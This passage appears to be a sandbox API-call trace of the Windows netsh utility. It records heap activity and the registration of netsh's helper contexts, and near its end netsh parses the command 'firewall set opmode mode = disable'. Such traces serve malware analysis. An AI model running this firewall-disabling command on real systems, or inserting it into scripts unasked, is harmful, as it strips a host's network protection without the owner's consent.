[0136.160] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x150) returned 0x2b436273b30 [0136.160] GetProcessHeap () returned 0x2b436220000 [0136.160] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436266290) returned 1 [0136.160] RegisterContext () returned 0x0 [0136.160] GetProcessHeap () returned 0x2b436220000 [0136.160] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x70) returned 0x2b436274880 [0136.160] GetProcessHeap () returned 0x2b436220000 [0136.161] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x0) returned 1 [0136.161] RegisterContext () returned 0x0 [0136.161] _wcsicmp (_String1="diagnostics", _String2="cloud") returned 1 [0136.161] _wcsicmp (_String1="diagnostics", _String2="cloud") returned 1 [0136.161] GetProcessHeap () returned 0x2b436220000 [0136.161] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xe0) returned 0x2b436265a20 [0136.161] GetProcessHeap () returned 0x2b436220000 [0136.161] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436274880) returned 1 [0136.161] RegisterContext () returned 0x0 [0136.161] _wcsicmp (_String1="peer", _String2="cloud") returned 13 [0136.161] _wcsicmp (_String1="peer", _String2="diagnostics") returned 12 [0136.161] _wcsicmp (_String1="peer", _String2="cloud") returned 13 [0136.161] _wcsicmp (_String1="peer", _String2="diagnostics") returned 12 [0136.161] GetProcessHeap () returned 0x2b436220000 [0136.161] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x150) returned 0x2b436273e60 [0136.161] GetProcessHeap () returned 0x2b436220000 [0136.161] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436265a20) returned 1 [0136.161] RegisterContext () returned 0x0 [0136.161] GetProcessHeap () returned 0x2b436220000 [0136.161] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x70) returned 0x2b436273fc0 [0136.161] GetProcessHeap () returned 0x2b436220000 [0136.161] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x0) returned 1 [0136.161] RegisterContext () returned 0x0 [0136.161] _wcsicmp (_String1="rpc", _String2="advfirewall") returned 17 [0136.161] _wcsicmp (_String1="rpc", _String2="bridge") returned 16 [0136.161] _wcsicmp (_String1="rpc", _String2="dhcpclient") returned 14 [0136.161] _wcsicmp (_String1="rpc", _String2="dnsclient") returned 14 [0136.161] _wcsicmp (_String1="rpc", _String2="firewall") returned 12 [0136.161] _wcsicmp (_String1="rpc", _String2="http") returned 10 [0136.161] _wcsicmp (_String1="rpc", _String2="interface") returned 9 [0136.161] _wcsicmp (_String1="rpc", _String2="ipsec") returned 9 [0136.162] _wcsicmp (_String1="rpc", _String2="lan") returned 6 [0136.162] _wcsicmp (_String1="rpc", _String2="namespace") returned 4 [0136.162] _wcsicmp (_String1="rpc", _String2="netio") returned 4 [0136.162] _wcsicmp (_String1="rpc", _String2="p2p") returned 2 [0136.162] _wcsicmp (_String1="rpc", _String2="ras") returned 15 [0136.162] _wcsicmp (_String1="rpc", _String2="trace") returned -2 [0136.162] _wcsicmp (_String1="rpc", _String2="wfp") returned -5 [0136.162] _wcsicmp (_String1="rpc", _String2="advfirewall") returned 17 [0136.162] _wcsicmp (_String1="rpc", _String2="bridge") returned 16 [0136.162] _wcsicmp (_String1="rpc", _String2="dhcpclient") returned 14 [0136.162] _wcsicmp (_String1="rpc", _String2="dnsclient") returned 14 [0136.162] _wcsicmp (_String1="rpc", _String2="firewall") returned 12 [0136.162] _wcsicmp (_String1="rpc", _String2="http") returned 10 [0136.162] _wcsicmp (_String1="rpc", _String2="interface") returned 9 [0136.162] _wcsicmp (_String1="rpc", _String2="ipsec") returned 9 [0136.162] _wcsicmp (_String1="rpc", _String2="lan") returned 6 [0136.162] _wcsicmp (_String1="rpc", _String2="namespace") returned 4 [0136.162] _wcsicmp (_String1="rpc", _String2="netio") returned 4 [0136.162] _wcsicmp (_String1="rpc", _String2="p2p") returned 2 [0136.162] _wcsicmp (_String1="rpc", _String2="ras") returned 15 [0136.162] _wcsicmp (_String1="rpc", _String2="trace") returned -2 [0136.162] GetProcessHeap () returned 0x2b436220000 [0136.162] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x700) returned 0x2b436274d50 [0136.162] GetProcessHeap () returned 0x2b436220000 [0136.162] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362764e0) returned 1 [0136.162] RegisterContext () returned 0x0 [0136.162] GetProcessHeap () returned 0x2b436220000 [0136.162] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x70) returned 0x2b436274880 [0136.162] GetProcessHeap () returned 0x2b436220000 [0136.162] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x0) returned 1 [0136.162] RegisterContext () returned 0x0 [0136.162] _wcsicmp (_String1="wcn", _String2="advfirewall") returned 22 [0136.162] _wcsicmp (_String1="wcn", _String2="bridge") returned 21 [0136.162] _wcsicmp (_String1="wcn", _String2="dhcpclient") returned 19 [0136.162] _wcsicmp (_String1="wcn", _String2="dnsclient") returned 19 [0136.162] _wcsicmp (_String1="wcn", _String2="firewall") returned 17 [0136.163] _wcsicmp (_String1="wcn", _String2="http") returned 15 [0136.163] _wcsicmp (_String1="wcn", _String2="interface") returned 14 [0136.163] _wcsicmp (_String1="wcn", _String2="ipsec") returned 14 [0136.163] _wcsicmp (_String1="wcn", _String2="lan") returned 11 [0136.163] _wcsicmp (_String1="wcn", _String2="namespace") returned 9 [0136.163] _wcsicmp (_String1="wcn", _String2="netio") returned 9 [0136.163] _wcsicmp (_String1="wcn", _String2="p2p") returned 7 [0136.163] _wcsicmp (_String1="wcn", _String2="ras") returned 5 [0136.163] _wcsicmp (_String1="wcn", _String2="rpc") returned 5 [0136.163] _wcsicmp (_String1="wcn", _String2="trace") returned 3 [0136.163] _wcsicmp (_String1="wcn", _String2="wfp") returned -3 [0136.163] _wcsicmp (_String1="wcn", _String2="advfirewall") returned 22 [0136.163] _wcsicmp (_String1="wcn", _String2="bridge") returned 21 [0136.163] _wcsicmp (_String1="wcn", _String2="dhcpclient") returned 19 [0136.163] _wcsicmp (_String1="wcn", _String2="dnsclient") returned 19 [0136.163] _wcsicmp (_String1="wcn", _String2="firewall") returned 17 [0136.163] _wcsicmp (_String1="wcn", _String2="http") returned 15 [0136.163] _wcsicmp (_String1="wcn", _String2="interface") returned 14 [0136.163] _wcsicmp (_String1="wcn", _String2="ipsec") returned 14 [0136.163] _wcsicmp (_String1="wcn", _String2="lan") returned 11 [0136.163] _wcsicmp (_String1="wcn", _String2="namespace") returned 9 [0136.163] _wcsicmp (_String1="wcn", _String2="netio") returned 9 [0136.163] _wcsicmp (_String1="wcn", _String2="p2p") returned 7 [0136.163] _wcsicmp (_String1="wcn", _String2="ras") returned 5 [0136.163] _wcsicmp (_String1="wcn", _String2="rpc") returned 5 [0136.163] _wcsicmp (_String1="wcn", _String2="trace") returned 3 [0136.163] _wcsicmp (_String1="wcn", _String2="wfp") returned -3 [0136.163] GetProcessHeap () returned 0x2b436220000 [0136.163] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x770) returned 0x2b436275eb0 [0136.163] GetProcessHeap () returned 0x2b436220000 [0136.163] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436274d50) returned 1 [0136.163] RegisterContext () returned 0x0 [0136.163] _wcsicmp (_String1="winhttp", _String2="advfirewall") returned 22 [0136.163] _wcsicmp (_String1="winhttp", _String2="bridge") returned 21 [0136.163] _wcsicmp (_String1="winhttp", _String2="dhcpclient") returned 19 [0136.163] _wcsicmp (_String1="winhttp", _String2="dnsclient") returned 19 [0136.163] _wcsicmp (_String1="winhttp", _String2="firewall") returned 17 [0136.164] _wcsicmp (_String1="winhttp", _String2="http") returned 15 [0136.164] _wcsicmp (_String1="winhttp", _String2="interface") returned 14 [0136.164] _wcsicmp (_String1="winhttp", _String2="ipsec") returned 14 [0136.164] _wcsicmp (_String1="winhttp", _String2="lan") returned 11 [0136.164] _wcsicmp (_String1="winhttp", _String2="namespace") returned 9 [0136.164] _wcsicmp (_String1="winhttp", _String2="netio") returned 9 [0136.164] _wcsicmp (_String1="winhttp", _String2="p2p") returned 7 [0136.164] _wcsicmp (_String1="winhttp", _String2="ras") returned 5 [0136.164] _wcsicmp (_String1="winhttp", _String2="rpc") returned 5 [0136.164] _wcsicmp (_String1="winhttp", _String2="trace") returned 3 [0136.164] _wcsicmp (_String1="winhttp", _String2="wcn") returned 6 [0136.164] _wcsicmp (_String1="winhttp", _String2="wfp") returned 3 [0136.164] _wcsicmp (_String1="winhttp", _String2="advfirewall") returned 22 [0136.164] _wcsicmp (_String1="winhttp", _String2="bridge") returned 21 [0136.164] _wcsicmp (_String1="winhttp", _String2="dhcpclient") returned 19 [0136.164] _wcsicmp (_String1="winhttp", _String2="dnsclient") returned 19 [0136.164] _wcsicmp (_String1="winhttp", _String2="firewall") returned 17 [0136.164] _wcsicmp (_String1="winhttp", _String2="http") returned 15 [0136.164] _wcsicmp (_String1="winhttp", _String2="interface") returned 14 [0136.164] _wcsicmp (_String1="winhttp", _String2="ipsec") returned 14 [0136.164] _wcsicmp (_String1="winhttp", _String2="lan") returned 11 [0136.164] _wcsicmp (_String1="winhttp", _String2="namespace") returned 9 [0136.164] _wcsicmp (_String1="winhttp", _String2="netio") returned 9 [0136.164] _wcsicmp (_String1="winhttp", _String2="p2p") returned 7 [0136.164] _wcsicmp (_String1="winhttp", _String2="ras") returned 5 [0136.164] _wcsicmp (_String1="winhttp", _String2="rpc") returned 5 [0136.164] _wcsicmp (_String1="winhttp", _String2="trace") returned 3 [0136.164] _wcsicmp (_String1="winhttp", _String2="wcn") returned 6 [0136.164] _wcsicmp (_String1="winhttp", _String2="wfp") returned 3 [0136.164] GetProcessHeap () returned 0x2b436220000 [0136.164] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x7e0) returned 0x2b436274d50 [0136.164] GetProcessHeap () returned 0x2b436220000 [0136.164] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436275eb0) returned 1 [0136.164] RegisterContext () returned 0x0 [0136.164] _wcsicmp (_String1="wlan", _String2="advfirewall") returned 22 [0136.164] _wcsicmp (_String1="wlan", _String2="bridge") returned 21 [0136.164] _wcsicmp (_String1="wlan", _String2="dhcpclient") returned 19 [0136.164] _wcsicmp (_String1="wlan", _String2="dnsclient") returned 19 [0136.165] _wcsicmp (_String1="wlan", _String2="firewall") returned 17 [0136.165] _wcsicmp (_String1="wlan", _String2="http") returned 15 [0136.165] _wcsicmp (_String1="wlan", _String2="interface") returned 14 [0136.165] _wcsicmp (_String1="wlan", _String2="ipsec") returned 14 [0136.165] _wcsicmp (_String1="wlan", _String2="lan") returned 11 [0136.165] _wcsicmp (_String1="wlan", _String2="namespace") returned 9 [0136.165] _wcsicmp (_String1="wlan", _String2="netio") returned 9 [0136.165] _wcsicmp (_String1="wlan", _String2="p2p") returned 7 [0136.165] _wcsicmp (_String1="wlan", _String2="ras") returned 5 [0136.165] _wcsicmp (_String1="wlan", _String2="rpc") returned 5 [0136.165] _wcsicmp (_String1="wlan", _String2="trace") returned 3 [0136.165] _wcsicmp (_String1="wlan", _String2="wcn") returned 9 [0136.165] _wcsicmp (_String1="wlan", _String2="wfp") returned 6 [0136.165] _wcsicmp (_String1="wlan", _String2="winhttp") returned 3 [0136.165] _wcsicmp (_String1="wlan", _String2="advfirewall") returned 22 [0136.165] _wcsicmp (_String1="wlan", _String2="bridge") returned 21 [0136.165] _wcsicmp (_String1="wlan", _String2="dhcpclient") returned 19 [0136.165] _wcsicmp (_String1="wlan", _String2="dnsclient") returned 19 [0136.165] _wcsicmp (_String1="wlan", _String2="firewall") returned 17 [0136.165] _wcsicmp (_String1="wlan", _String2="http") returned 15 [0136.165] _wcsicmp (_String1="wlan", _String2="interface") returned 14 [0136.165] _wcsicmp (_String1="wlan", _String2="ipsec") returned 14 [0136.165] _wcsicmp (_String1="wlan", _String2="lan") returned 11 [0136.165] _wcsicmp (_String1="wlan", _String2="namespace") returned 9 [0136.165] _wcsicmp (_String1="wlan", _String2="netio") returned 9 [0136.165] _wcsicmp (_String1="wlan", _String2="p2p") returned 7 [0136.165] _wcsicmp (_String1="wlan", _String2="ras") returned 5 [0136.165] _wcsicmp (_String1="wlan", _String2="rpc") returned 5 [0136.165] _wcsicmp (_String1="wlan", _String2="trace") returned 3 [0136.165] _wcsicmp (_String1="wlan", _String2="wcn") returned 9 [0136.165] _wcsicmp (_String1="wlan", _String2="wfp") returned 6 [0136.165] _wcsicmp (_String1="wlan", _String2="winhttp") returned 3 [0136.165] GetProcessHeap () returned 0x2b436220000 [0136.165] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x850) returned 0x2b436275eb0 [0136.165] GetProcessHeap () returned 0x2b436220000 [0136.165] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436274d50) returned 1 [0136.165] RegisterContext () returned 0x0 [0136.165] _wcsicmp (_String1="winsock", _String2="advfirewall") returned 22 [0136.166] _wcsicmp (_String1="winsock", _String2="bridge") returned 21 [0136.166] _wcsicmp (_String1="winsock", _String2="dhcpclient") returned 19 [0136.166] _wcsicmp (_String1="winsock", _String2="dnsclient") returned 19 [0136.166] _wcsicmp (_String1="winsock", _String2="firewall") returned 17 [0136.166] _wcsicmp (_String1="winsock", _String2="http") returned 15 [0136.166] _wcsicmp (_String1="winsock", _String2="interface") returned 14 [0136.166] _wcsicmp (_String1="winsock", _String2="ipsec") returned 14 [0136.166] _wcsicmp (_String1="winsock", _String2="lan") returned 11 [0136.166] _wcsicmp (_String1="winsock", _String2="namespace") returned 9 [0136.166] _wcsicmp (_String1="winsock", _String2="netio") returned 9 [0136.166] _wcsicmp (_String1="winsock", _String2="p2p") returned 7 [0136.166] _wcsicmp (_String1="winsock", _String2="ras") returned 5 [0136.166] _wcsicmp (_String1="winsock", _String2="rpc") returned 5 [0136.166] _wcsicmp (_String1="winsock", _String2="trace") returned 3 [0136.166] _wcsicmp (_String1="winsock", _String2="wcn") returned 6 [0136.166] _wcsicmp (_String1="winsock", _String2="wfp") returned 3 [0136.166] _wcsicmp (_String1="winsock", _String2="winhttp") returned 11 [0136.166] _wcsicmp (_String1="winsock", _String2="wlan") returned -3 [0136.166] _wcsicmp (_String1="winsock", _String2="advfirewall") returned 22 [0136.166] _wcsicmp (_String1="winsock", _String2="bridge") returned 21 [0136.166] _wcsicmp (_String1="winsock", _String2="dhcpclient") returned 19 [0136.166] _wcsicmp (_String1="winsock", _String2="dnsclient") returned 19 [0136.166] _wcsicmp (_String1="winsock", _String2="firewall") returned 17 [0136.166] _wcsicmp (_String1="winsock", _String2="http") returned 15 [0136.166] _wcsicmp (_String1="winsock", _String2="interface") returned 14 [0136.166] _wcsicmp (_String1="winsock", _String2="ipsec") returned 14 [0136.166] _wcsicmp (_String1="winsock", _String2="lan") returned 11 [0136.166] _wcsicmp (_String1="winsock", _String2="namespace") returned 9 [0136.166] _wcsicmp (_String1="winsock", _String2="netio") returned 9 [0136.166] _wcsicmp (_String1="winsock", _String2="p2p") returned 7 [0136.166] _wcsicmp (_String1="winsock", _String2="ras") returned 5 [0136.166] _wcsicmp (_String1="winsock", _String2="rpc") returned 5 [0136.166] _wcsicmp (_String1="winsock", _String2="trace") returned 3 [0136.166] _wcsicmp (_String1="winsock", _String2="wcn") returned 6 [0136.166] _wcsicmp (_String1="winsock", _String2="wfp") returned 3 [0136.166] _wcsicmp (_String1="winsock", _String2="winhttp") returned 11 [0136.166] _wcsicmp (_String1="winsock", _String2="wlan") returned -3 [0136.166] GetProcessHeap () returned 0x2b436220000 [0136.166] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x8c0) returned 0x2b436274d50 [0136.167] GetProcessHeap () returned 0x2b436220000 [0136.167] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436275eb0) returned 1 [0136.167] RegisterContext () returned 0x0 [0136.167] _wcsicmp (_String1="mbn", _String2="advfirewall") returned 12 [0136.167] _wcsicmp (_String1="mbn", _String2="bridge") returned 11 [0136.167] _wcsicmp (_String1="mbn", _String2="dhcpclient") returned 9 [0136.167] _wcsicmp (_String1="mbn", _String2="dnsclient") returned 9 [0136.167] _wcsicmp (_String1="mbn", _String2="firewall") returned 7 [0136.167] _wcsicmp (_String1="mbn", _String2="http") returned 5 [0136.167] _wcsicmp (_String1="mbn", _String2="interface") returned 4 [0136.167] _wcsicmp (_String1="mbn", _String2="ipsec") returned 4 [0136.167] _wcsicmp (_String1="mbn", _String2="lan") returned 1 [0136.167] _wcsicmp (_String1="mbn", _String2="namespace") returned -1 [0136.167] _wcsicmp (_String1="mbn", _String2="netio") returned -1 [0136.167] _wcsicmp (_String1="mbn", _String2="p2p") returned -3 [0136.167] _wcsicmp (_String1="mbn", _String2="ras") returned -5 [0136.167] _wcsicmp (_String1="mbn", _String2="rpc") returned -5 [0136.167] _wcsicmp (_String1="mbn", _String2="trace") returned -7 [0136.167] _wcsicmp (_String1="mbn", _String2="wcn") returned -10 [0136.167] _wcsicmp (_String1="mbn", _String2="wfp") returned -10 [0136.167] _wcsicmp (_String1="mbn", _String2="winhttp") returned -10 [0136.167] _wcsicmp (_String1="mbn", _String2="winsock") returned -10 [0136.167] _wcsicmp (_String1="mbn", _String2="wlan") returned -10 [0136.167] _wcsicmp (_String1="mbn", _String2="advfirewall") returned 12 [0136.167] _wcsicmp (_String1="mbn", _String2="bridge") returned 11 [0136.167] _wcsicmp (_String1="mbn", _String2="dhcpclient") returned 9 [0136.167] _wcsicmp (_String1="mbn", _String2="dnsclient") returned 9 [0136.167] _wcsicmp (_String1="mbn", _String2="firewall") returned 7 [0136.167] _wcsicmp (_String1="mbn", _String2="http") returned 5 [0136.167] _wcsicmp (_String1="mbn", _String2="interface") returned 4 [0136.167] _wcsicmp (_String1="mbn", _String2="ipsec") returned 4 [0136.167] _wcsicmp (_String1="mbn", _String2="lan") returned 1 [0136.169] _wcsicmp (_String1="mbn", _String2="namespace") returned -1 [0136.169] GetProcessHeap () returned 0x2b436220000 [0136.169] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x930) returned 0x2b436275eb0 [0136.169] GetProcessHeap () returned 0x2b436220000 [0136.169] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436274d50) returned 1 [0136.245] RegisterContext () returned 0x0 [0136.245] _wcsicmp (_String1="branchcache", _String2="advfirewall") returned 1 [0136.245] _wcsicmp (_String1="branchcache", _String2="bridge") returned -8 [0136.245] _wcsicmp (_String1="branchcache", _String2="dhcpclient") returned -2 [0136.245] _wcsicmp (_String1="branchcache", _String2="dnsclient") returned -2 [0136.245] _wcsicmp (_String1="branchcache", _String2="firewall") returned -4 [0136.245] _wcsicmp (_String1="branchcache", _String2="http") returned -6 [0136.245] _wcsicmp (_String1="branchcache", _String2="interface") returned -7 [0136.245] _wcsicmp (_String1="branchcache", _String2="ipsec") returned -7 [0136.245] _wcsicmp (_String1="branchcache", _String2="lan") returned -10 [0136.245] _wcsicmp (_String1="branchcache", _String2="mbn") returned -11 [0136.245] _wcsicmp (_String1="branchcache", _String2="namespace") returned -12 [0136.245] _wcsicmp (_String1="branchcache", _String2="netio") returned -12 [0136.245] _wcsicmp (_String1="branchcache", _String2="p2p") returned -14 [0136.245] _wcsicmp (_String1="branchcache", _String2="ras") returned -16 [0136.245] _wcsicmp (_String1="branchcache", _String2="rpc") returned -16 [0136.245] _wcsicmp (_String1="branchcache", _String2="trace") returned -18 [0136.245] _wcsicmp (_String1="branchcache", _String2="wcn") returned -21 [0136.245] _wcsicmp (_String1="branchcache", _String2="wfp") returned -21 [0136.245] _wcsicmp (_String1="branchcache", _String2="winhttp") returned -21 [0136.245] _wcsicmp (_String1="branchcache", _String2="winsock") returned -21 [0136.245] _wcsicmp (_String1="branchcache", _String2="wlan") returned -21 [0136.245] _wcsicmp (_String1="branchcache", _String2="advfirewall") returned 1 [0136.245] _wcsicmp (_String1="branchcache", _String2="bridge") returned -8 [0136.245] GetProcessHeap () returned 0x2b436220000 [0136.245] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x9a0) returned 0x2b436286f20 [0136.245] GetProcessHeap () returned 0x2b436220000 [0136.245] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436275eb0) returned 1 [0136.245] RegisterContext () returned 0x0 [0136.245] GetProcessHeap () returned 0x2b436220000 [0136.245] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x70) returned 0x2b436282070 [0136.245] GetProcessHeap () returned 0x2b436220000 [0136.245] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x0) returned 1 [0136.246] LoadLibraryExW (lpLibFileName="mprmsg.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffca3f00000 [0136.250] GetProcAddress (hModule=0x7ffca3f00000, lpProcName="MprmsgGetErrorString") returned 0x7ffca3f01040 [0136.250] SetConsoleCtrlHandler (HandlerRoutine=0x7ff6f9ab8410, Add=1) returned 1 [0136.250] SetThreadUILanguage (LangId=0x0) returned 0x409 [0136.250] _wcsicmp (_String1="firewall", _String2="-?") returned 57 [0136.250] _wcsicmp (_String1="firewall", _String2="-h") returned 57 [0136.250] _wcsicmp (_String1="firewall", _String2="?") returned 39 [0136.250] _wcsicmp (_String1="firewall", _String2="/?") returned 55 [0136.250] _wcsicmp (_String1="firewall", _String2="-v") returned 57 [0136.250] _wcsicmp (_String1="firewall", _String2="-a") returned 57 [0136.250] _wcsicmp (_String1="firewall", _String2="-c") returned 57 [0136.250] _wcsicmp (_String1="firewall", _String2="-f") returned 57 [0136.250] _wcsicmp (_String1="firewall", _String2="-r") returned 57 [0136.250] _wcsicmp (_String1="firewall", _String2="-u") returned 57 [0136.251] _wcsicmp (_String1="firewall", _String2="-p") returned 57 [0136.251] GetVersionExW (in: lpVersionInformation=0xf524ef7840*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xf524ef7840*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0136.251] _vsnwprintf (in: _Buffer=0x7ff6f9ac7ca0, _BufferCount=0x103, _Format="%d.%d.%d", _ArgList=0xf524ef7808 | out: _Buffer="10.0.15063") returned 10 [0136.251] _vsnwprintf (in: _Buffer=0x7ff6f9ac7eb0, _BufferCount=0x103, _Format="%d", _ArgList=0xf524ef7808 | out: _Buffer="15063") returned 5 [0136.251] _vsnwprintf (in: _Buffer=0x7ff6f9ac80c0, _BufferCount=0x103, _Format="%d", _ArgList=0xf524ef7808 | out: _Buffer="0") returned 1 [0136.251] _vsnwprintf (in: _Buffer=0x7ff6f9ac82d0, _BufferCount=0x103, _Format="%d", _ArgList=0xf524ef7808 | out: _Buffer="0") returned 1 [0136.251] GetProcessHeap () returned 0x2b436220000 [0136.251] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x18) returned 0x2b436270360 [0136.251] GetProcessHeap () returned 0x2b436220000 [0136.251] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x18) returned 0x2b436270600 [0136.251] GetProcessHeap () returned 0x2b436220000 [0136.251] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xc) returned 0x2b4362703a0 [0136.251] GetProcessHeap () returned 0x2b436220000 [0136.251] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x18) returned 0x2b4362704e0 [0136.251] GetProcessHeap () returned 0x2b436220000 [0136.251] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xc) returned 0x2b4362707c0 [0136.251] wcscpy_s (in: _Destination=0x2b4362707c0, _SizeInWords=0x6, _Source="netsh" | out: _Destination="netsh") returned 0x0 [0136.251] GetProcessHeap () returned 0x2b436220000 [0136.251] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362703a0) returned 1 [0136.251] GetProcessHeap () returned 0x2b436220000 [0136.252] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436270600) returned 1 [0136.252] GetProcessHeap () returned 0x2b436220000 [0136.252] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x18) returned 0x2b4362703a0 [0136.252] GetProcessHeap () returned 0x2b436220000 [0136.252] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x18) returned 0x2b4362703c0 [0136.252] GetProcessHeap () returned 0x2b436220000 [0136.252] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x42) returned 0x2b43626fd90 [0136.252] GetProcessHeap () returned 0x2b436220000 [0136.252] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x18) returned 0x2b4362703e0 [0136.252] GetProcessHeap () returned 0x2b436220000 [0136.252] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x12) returned 0x2b436270520 [0136.252] wcscpy_s (in: _Destination=0x2b436270520, _SizeInWords=0x9, _Source="firewall" | out: _Destination="firewall") returned 0x0 [0136.252] GetProcessHeap () returned 0x2b436220000 [0136.252] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x18) returned 0x2b436270720 [0136.252] GetProcessHeap () returned 0x2b436220000 [0136.252] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x8) returned 0x2b436274400 [0136.252] wcscpy_s (in: _Destination=0x2b436274400, _SizeInWords=0x4, _Source="set" | out: _Destination="set") returned 0x0 [0136.252] GetProcessHeap () returned 0x2b436220000 [0136.252] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x18) returned 0x2b436270600 [0136.252] GetProcessHeap () returned 0x2b436220000 [0136.252] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xe) returned 0x2b436270620 [0136.252] wcscpy_s (in: _Destination=0x2b436270620, _SizeInWords=0x7, _Source="opmode" | out: _Destination="opmode") returned 0x0 [0136.252] GetProcessHeap () returned 0x2b436220000 [0136.252] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x18) returned 0x2b436270640 [0136.252] GetProcessHeap () returned 0x2b436220000 [0136.252] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xa) returned 0x2b436270660 [0136.252] wcscpy_s (in: _Destination=0x2b436270660, _SizeInWords=0x5, _Source="mode" | out: _Destination="mode") returned 0x0 [0136.252] GetProcessHeap () returned 0x2b436220000 [0136.252] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x18) returned 0x2b4362706a0 [0136.252] GetProcessHeap () returned 0x2b436220000 [0136.252] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x4) returned 0x2b436274410 [0136.252] wcscpy_s (in: _Destination=0x2b436274410, _SizeInWords=0x2, _Source="=" | out: _Destination="=") returned 0x0 [0136.252] GetProcessHeap () returned 0x2b436220000 [0136.252] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x18) returned 0x2b4362706c0 [0136.252] GetProcessHeap () returned 0x2b436220000 [0136.252] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362706e0 [0136.252] wcscpy_s (in: _Destination=0x2b4362706e0, _SizeInWords=0x8, _Source="disable" | out: _Destination="disable") returned 0x0 [0136.252] GetProcessHeap () returned 0x2b436220000 [0136.252] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b43626fd90) returned 1 [0136.252] GetProcessHeap () returned 0x2b436220000 [0136.252] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362703c0) returned 1 [0136.253] GetProcessHeap () returned 0x2b436220000 [0136.253] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x18) returned 0x2b436270700 [0136.253] GetProcessHeap () returned 0x2b436220000 [0136.253] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x12) returned 0x2b436270760 [0136.253] wcscpy_s (in: _Destination=0x2b436270760, _SizeInWords=0x9, _Source="firewall" | out: _Destination="firewall") returned 0x0 [0136.253] GetProcessHeap () returned 0x2b436220000 [0136.253] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436270520) returned 1 [0136.253] GetProcessHeap () returned 0x2b436220000 [0136.253] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362703e0) returned 1 [0136.253] GetProcessHeap () returned 0x2b436220000 [0136.253] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x18) returned 0x2b4362703c0 [0136.253] GetProcessHeap () returned 0x2b436220000 [0136.253] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x12) returned 0x2b436270780 [0136.253] wcscpy_s (in: _Destination=0x2b436270780, _SizeInWords=0x9, _Source="firewall" | out: _Destination="firewall") 